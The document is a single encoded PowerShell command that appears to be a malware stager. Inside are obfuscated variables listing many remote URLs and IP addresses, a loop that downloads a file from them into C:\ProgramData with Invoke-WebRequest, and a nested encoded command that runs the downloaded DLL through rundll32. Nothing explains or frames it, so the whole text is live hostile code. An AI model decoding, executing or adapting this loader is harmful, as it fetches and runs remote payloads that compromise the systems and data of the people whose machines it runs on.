"JABSAG8AcwBlAHcAbwByAHQATgBvAG4AYQBzAHQAcgBvAG4AbwBtAGkAYwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE8AQQBBAHUAQQBEAEUAQQBOAFEAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHgAQQBEAEkAQQBNAFEAQQA9AHYAZABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGMAQQBjAGcAQgBsAEEARwBFAEEAYwB3AEIAcABBAEcAVQBBAGMAZwBCAFMAQQBHAFUAQQBiAEEAQgBoAEEASABRAEEAYQBRAEIAMgBBAEcARQBBAGIAQQBBAHUAQQBIAE0AQQBiAHcAQgBtAEEASABRAEEAZAB3AEIAaABBAEgASQBBAFoAUQBBAD0AIgA7ACQAUwB1AHAAZQByAHIAZQBmAGkAbgBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATQBnAEEAeABBAEQAUQBBAEwAZwBBAHkAQQBEAEkAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAeABBAEEAPQA9ACIAOwAkAE4AZQB3AHMAcgBlAGUAbABzAFIAaQBjAG8AYwBoAGUAdABlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATQBRAEEAegBBAEQAZwBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQB1AEEARABjAEEATwBBAEEAPQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAE4AQQBBAHUAQQBEAGsAQQBPAEEAQQB1AEEARABnAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBADUAQQBBAD0APQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUASQBBAFkAUQBCAHoAQQBHAGsAQQBjAEEAQgB2AEEARwBRAEEAYQBRAEIAMABBAEcAawBBAFkAdwBCAFEAQQBHAGcAQQBiAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEcARQBBAFkAdwBCAGwAQQBHAEUAQQBaAFEAQQB1AEEARwBrAEEAYgBRAEIAdABBAEcAOABBAFkAZwBCAHAAQQBHAHcAQQBhAFEAQgBsAEEARwA0AEEATABCAGsAWgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABFAEEATgBBAEEAMwBBAEMANABBAE0AUQBBAHoAQQBEAEUAQQBMAGcAQQB5AEEARABBAEEATwBBAEEAPQAiADsAJABvAHIAZABpAG4AYQByAGkAYQB0AGUATwB1AHQAdABoAHIAdQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBNAFEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBOAHcAQQB5AEEAQwA4AEEAWgB3AEIAUwBBAEMAOABBAGEAQQBCADMAQQBHADQAQQBWAFEAQQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFUAQQBPAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAFUAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdgBBAEYAYwBBAE0AUQBBAHYAQQBHAFUAQQBhAEEAQgBtAEEAQQA9AD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAaABBAEgAUQBBAGIAUQBCAHYAQQBIAE0AQQBkAEEAQgBsAEEARwBFAEEAVQB3AEIAMQBBAEgAQQBBAFoAUQBCAHkAQQBIAFEAQQBaAFEAQgB5AEEASABJAEEAWQBRAEIAdQBBAEcAVQBBAFkAUQBCAHUAQQBDADQAQQBiAEEAQgBwAEEARwBjAEEAYQBBAEIAMABBAEcAawBBAGIAZwBCAG4AQQBDADgAQQBjAHcAQQB2AEEARgBNAEEATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAG0AQQBHAEkAQQBiAFEAQgBUAEEARQBFAEEAVABnAEEAMwBBAEEAPQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBNAGcAQQB1AEEARABJAEEATgBRAEEAeQBBAEMANABBAE0AUQBBADMAQQBEAFUAQQBMAGcAQQB5AEEARABFAEEATwBRAEEAdgBBAEcANABBAGQAdwBBADAAQQBFAHcAQQBkAEEAQQB2AEEASABZAEEAVwBBAEEAMgBBAEUAMABBAE4AZwBBAD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAE4AZwBCAFUAQQBIAGMAQQBRAHcAQgBGAEEARQBzAEEAIgA7ACQAUwBwAGEAcgBzAGkAbwBwAGwAYQBzAHQAQQBzAHMAZQBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgA1AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGUAUQBCAHMAQQBHADgAQQBaAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEYAQQBBAGIAdwBCAHMAQQBIAGsAQQBZAHcAQgBvAEEARwBFAEEAYwB3AEIAcABBAEcARQBBAEwAZwBCAGoAQQBHADgAQQBaAGcAQgBtAEEARwBVAEEAWgBRAEEAPQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUANABBAFoAUQBCADMAQQBIAE0AQQBiAFEAQgBsAEEARwA0AEEATABnAEIAagBBAEcARQBBAFkAZwBBAD0AcQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBHADgAQQBlAEEAQgBwAEEARwBNAEEAYgB3AEIAawBBAEcAVQBBAGMAZwBCAHQAQQBHAEUAQQBkAEEAQgBwAEEASABRAEEAYQBRAEIAegBBAEMANABBAGIAUQBCAGwAQQBBAD0APQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcASQBBAGIAQQBCAGgAQQBHAE0AQQBhAHcAQgAwAEEARwA4AEEAYwBBAEIAegBBAEMANABBAFkAZwBCADEAQQBHAGsAQQBiAEEAQgBrAEEAQQA9AD0AIgA7ACQAdQBuAGEAbgB0AGkAYwBpAHAAYQB0AGUAZABsAHkAVQBuAGQAZQBwAHIAZQBjAGEAdABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcARQBBAGQAUQBCADAAQQBHADgAQQBZAHcAQgA1AEEASABNAEEAZABBAEIAdgBBAEgAQQBBAGIAQQBCAGgAQQBIAE0AQQBkAEEAQgA1AEEAQwA0AEEAWgB3AEIAcABBAEgAWQBBAFoAUQBCAHoAQQBBAD0APQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQA1AEEARABrAEEATABnAEEANQBBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBhAEEAQgBsAEEASABnAEEAYQBRAEIAawBBAEcAawBBAGIAZwBCAGwAQQBFADAAQQBiAHcAQgB1AEEARwA4AEEAYgBBAEIAaABBAEgAUQBBAFoAUQBCAHkAQQBDADQAQQBkAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEEAPQA9AGYARgBjAE4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEAMgBBAEMANABBAE0AUQBBADUAQQBEAEUAQQBMAGcAQQAzAEEARABFAEEATABnAEEAeQBBAEQASQBBAE0AZwBBAD0AIgA7ACQAcgBlAHAAZQBhAHQAZQByAEMAbwBsAGwAbwBxAHUAaQBhAGwAaQB0AHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AUQBBADAAQQBEAFEAQQBMAGcAQQB4AEEARABZAEEATQBRAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJAB1AG4AcwB0AG8AcABwAGEAYgBsAGUATwBrAGUAbgBpAHQAZQAgAGkAbgAgACQAbwByAGQAaQBuAGEAcgBpAGEAdABlAE8AdQB0AHQAaAByAHUAcwB0ACAALQBzAHAAbABpAHQAIAAiAE0AeAAiACkAIAB7ACQAYwBoAG8AbgBkAHIAbwBpAHQAaQBuAE8AYwBoAGwAbwBjAHIAYQB0AGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBOAHcAQQB1AEEARABJAEEATQBRAEEANQBBAEMANABBAE0AZwBBAHkAQQBEAEkAQQBMAGcAQQB4AEEARABRAEEATgBnAEEAPQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAEUAQQBMAGcAQQB5AEEARABFAEEATQB3AEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAGcAQQB4AEEARABNAEEAegB4AE8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAMgBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQASQBBAE4AQQBBAHcAQQBBAD0APQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAWQB3AEIAcwBBAEgAVQBBAGQAQQBCADAAQQBHAFUAQQBjAGcAQQB1AEEARwBvAEEAWgBRAEIAMABBAEgAbwBBAGQAQQBBAD0AIgA7ACQAZABpAHAAaAB5AGMAZQByAGMAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE4AZwBBAHUAQQBEAEUAQQBOAGcAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHkAQQBEAEEAQQBPAEEAQQA9AGIAVABUAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAGEAQQBCAGwAQQBHAGsAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEIAbgBBAEcARQBBAGIAQQBCADUAQQBFAFUAQQBiAFEAQgB3AEEARwA4AEEAYwBnAEIAMABBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBMAGcAQgBsAEEARwBFAEEAYwBnAEIAMABBAEcAZwBBACIAOwB0AHIAeQAgAHsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFcAaABpAHQAZQBkAGEAbQBwAEMAaAB1AGYAZgB5ACAAPQAgACQAdQBuAHMAdABvAHAAcABhAGIAbABlAE8AawBlAG4AaQB0AGUAOwAkAFQAcgBvAGcAZwBzAEgAeQBwAG8AZwBlAHUAcwBpAGEAIAA9ACAAIgBhAHcAQgB1AEEARwBVAEEAWgBRAEIAcwBBAEcAVQBBAGMAZwBCAHoAQQBFAHcAQQBZAFEAQgBpAEEARwBVAEEAYgBBAEIAcwBBAEcAVQBBAFoAQQBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQQA9AD0AIgA7ACQAQQB1AHQAbwBwAG8AcwBpAHQAaQB2AGUAQgBhAGcAaABsAGEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBoAGkAdABlAGQAYQBtAHAAQwBoAHUAZgBmAHkAKQApADsAJABsAG8AcABzAGkAZABlAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVAByAG8AZwBnAHMASAB5AHAAbwBnAGUAdQBzAGkAYQApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEEAdQB0AG8AcABvAHMAaQB0AGkAdgBlAEIAYQBnAGgAbABhACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAbABvAHAAcwBpAGQAZQBkADsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFQAZQBpAG4AZABlAHIAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABsAG8AcABzAGkAZABlAGQAKQAuAEwAZQBuAGcAdABoADsAJABzAGwAYQB1AGcAaAB0AGUAcgBlAHIAUwBpAG0AYgBsAGkAbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAGMAdwBCAGgAQQBHAE0AQQBjAGcAQgBwAEEARwBZAEEAYQBRAEIAagBBAEcAVQBBAFkAUQBCAGkAQQBHAHcAQQBlAFEAQgBWAEEARwA0AEEAYgBBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAEEAQgBwAEEARwBNAEEAZABBAEIAMQBBAEgASQBBAFoAUQBCAHoAQQBBAD0APQAiADsAJABDAG8AYQByAGIAaQB0AHIAYQB0AG8AcgBQAG8AZQBzAGkAbABlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGEAQQBCADEAQQBHAG8AQQBZAFEAQgB6AEEAQwA0AEEAWgB3AEIAcABBAEcAWQBBAGQAQQBBAD0AUABwAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABrAEEATABnAEEAeABBAEQAVQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEAdwBBAEQAawBBAFAAcABQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATwBBAEEAMQBBAEMANABBAE8AQQBBAHgAQQBBAD0APQAiADsAaQBmACAAKAAkAFQAZQBpAG4AZABlAHIAIAAtAGcAZQAgADUANAAzADQAMgApAHsAJABSAGUAbQBpAG4AdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAeQBBAEMANABBAE0AZwBBAHoAQQBEAEEAQQBMAGcAQQA1AEEARABJAEEATABnAEEAeQBBAEQARQBBAE0AUQBBAD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAQQBBAGMAdwBCAGwAQQBIAFUAQQBaAEEAQgBsAEEASABBAEEAYQBRAEIAbgBBAEgASQBBAFkAUQBCAHcAQQBHAGcAQQBhAFEAQgBqAEEARQBFAEEAYwBnAEIAagBBAEcAZwBBAGEAUQBCAHQAQQBHAFUAQQBaAEEAQgBsAEEARwBFAEEAYgBnAEEAdQBBAEcASQBBAGMAZwBCADEAQQBIAE0AQQBjAHcAQgBsAEEARwB3AEEAYwB3AEEAPQBwAEwAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBJAEEASABrAEEAYwBBAEIAdgBBAEgAUQBBAGEAQQBCAGwAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEAQQA9AD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE0AdwBBAHUAQQBEAEUAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAQQBBAEwAZwBBAHgAQQBEAFEAQQBOAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAHYAQQBHAE0AQQBjAGcAQgBoAEEARwBNAEEAZQBRAEIAVABBAEgAVQBBAFkAZwBCAHoAQQBHAE0AQQBiAEEAQgBsAEEASABJAEEAYgB3AEIAMABBAEcAawBBAFkAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEASABRAEEAYQBBAEIAcABBAEcAOABBAFkAdwBCAGgAQQBIAEkAQQBZAGcAQgBwAEEARwAwAEEAYQBRAEIAawBBAEcAVQBBAFUAZwBCAGwAQQBHAEkAQQBiAHcAQgAxAEEARwA0AEEAWgBBAEIAbABBAEgASQBBAEkAZwBBADcAQQBDAFEAQQBjAHcAQgBsAEEARwAwAEEAYQBRAEIAbQBBAEcAVQBBAGQAUQBCAGsAQQBHAEUAQQBiAEEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEcAVQBBAGIAUQBCAHAAQQBHAGMAQQBjAGcAQgBoAEEASABRAEEAYQBRAEIAdQBBAEcAYwBBAFUAQQBCAHYAQQBHAHcAQQBlAFEAQgB3AEEARwBFAEEAYwBnAEIAcABBAEgAVQBBAGIAUQBBAGkAQQBEAHMAQQBKAEEAQgBOAEEARwBFAEEAYwBnAEIAcABBAEcARQBBAGIAQQBCAHAAQQBIAFEAQQBaAFEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEgAUQBBAGEAQQBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAWQBnAEIAdgBBAEcAdwBBAGQAQQBCAHoAQQBGAFkAQQBZAFEAQgB6AEEASABRAEEAYQBRAEIAbABBAEgASQBBAEkAZwBBADcAQQBHAE0AQQBiAFEAQgBrAEEAQwBBAEEATAB3AEIAagBBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYQB3AEIAdQBBAEcAVQBBAFoAUQBCAHMAQQBHAFUAQQBjAGcAQgB6AEEARQB3AEEAWQBRAEIAaQBBAEcAVQBBAGIAQQBCAHMAQQBHAFUAQQBaAEEAQQB1AEEARwBRAEEAYgBBAEIAcwBBAEMAdwBBAGIAUQBCAHYAQQBIAEkAQQBaAFEAQQA3AEEAQwBRAEEAUgB3AEIAMQBBAEcAawBBAFoAQQBCAGgAQQBHADQAQQBZAHcAQgBsAEEARQBNAEEAWQBRAEIAdABBAEcASQBBAGMAZwBCAGwAQQBHAHcAQQBJAEEAQQA5AEEAQwBBAEEASQBnAEIAVgBBAEcANABBAGQAdwBCAG8AQQBHAGsAQQBiAFEAQgB3AEEARwBVAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAGkAQQBEAHMAQQBKAEEAQgBTAEEARwBVAEEAZABnAEIAbABBAEcANABBAFoAdwBCAGwAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCAFEAQQBHAGcAQQBhAFEAQgBzAEEARwBrAEEAYwBBAEIAdwBBAEcAawBBAGMAdwBCAHQAQQBDAEkAQQBPAHcAQQBrAEEARQBrAEEAYwBnAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEEAQQBaAFEAQgBUAEEARwB3AEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHMAQQBHAEUAQQBjAGcAQQBnAEEARAAwAEEASQBBAEEAaQBBAEUASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBwAEEASABNAEEAZABBAEEAaQBBAEQAcwBBAEoAQQBCAFEAQQBIAFUAQQBjAEEAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgATQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARQBNAEEAYgB3AEIAcwBBAEcAdwBBAFkAUQBCAHkAQQBHAEkAQQBhAFEAQgB5AEEARwBRAEEAVgBRAEIAdQBBAEcAWQBBAFoAUQBCAHAAQQBHAGMAQQBiAGcAQgBsAEEARwBRAEEAYgBnAEIAbABBAEgATQBBAGMAdwBBAGkAQQBEAHMAQQAiADsAJABTAHAAYQBsAGwAYQBiAGwAZQBIAHUAcwBiAGEAbgBkAGwAaQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABnAEEATQBRAEEAdQBBAEQAYwBBAE8AUQBBAHUAQQBEAEUAQQBOAGcAQQAwAEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBjAEEAWgBRAEIAeQBBAEcAMABBAFkAUQBCAHUAQQBHAGsAQQBlAGcAQgBoAEEASABRAEEAYQBRAEIAdgBBAEcANABBAFMAQQBCADUAQQBHAFEAQQBZAFEAQgAwAEEARwA4AEEAYgBRAEIAdgBBAEgASQBBAGMAQQBCAG8AQQBHAGsAQQBZAHcAQQB1AEEASABJAEEAWgBRAEIAdQBBAEgAUQBBAFkAUQBCAHMAQQBIAE0AQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAbABBAEgAQQBBAGEAUQBCAGoAQQBHAGcAQQBhAFEAQgBzAEEARQBVAEEAYwB3AEIAegBBAEcAOABBAGEAUQBCAHUAQQBHAFUAQQBjAGcAQQB1AEEARwBRAEEAYQBRAEIAbgBBAEcAawBBAGQAQQBCAGgAQQBHAHcAQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVgBBAEcANABBAFkAdwBCAHYAQQBHADAAQQBjAEEAQgAxAEEASABRAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAHUAQQBHAFUAQQBjAHcAQgB6AEEARgBNAEEAZABRAEIAaQBBAEcAYwBBAGIAQQBCAHYAQQBIAFEAQQBkAEEAQgBoAEEARwB3AEEATABnAEIAeQBBAEcAOABBACIAOwAkAHMAdwBpAG4AZQBwAGkAcABlAE4AbwBuAGkAbABsAHUAcwBpAHYAZQBuAGUA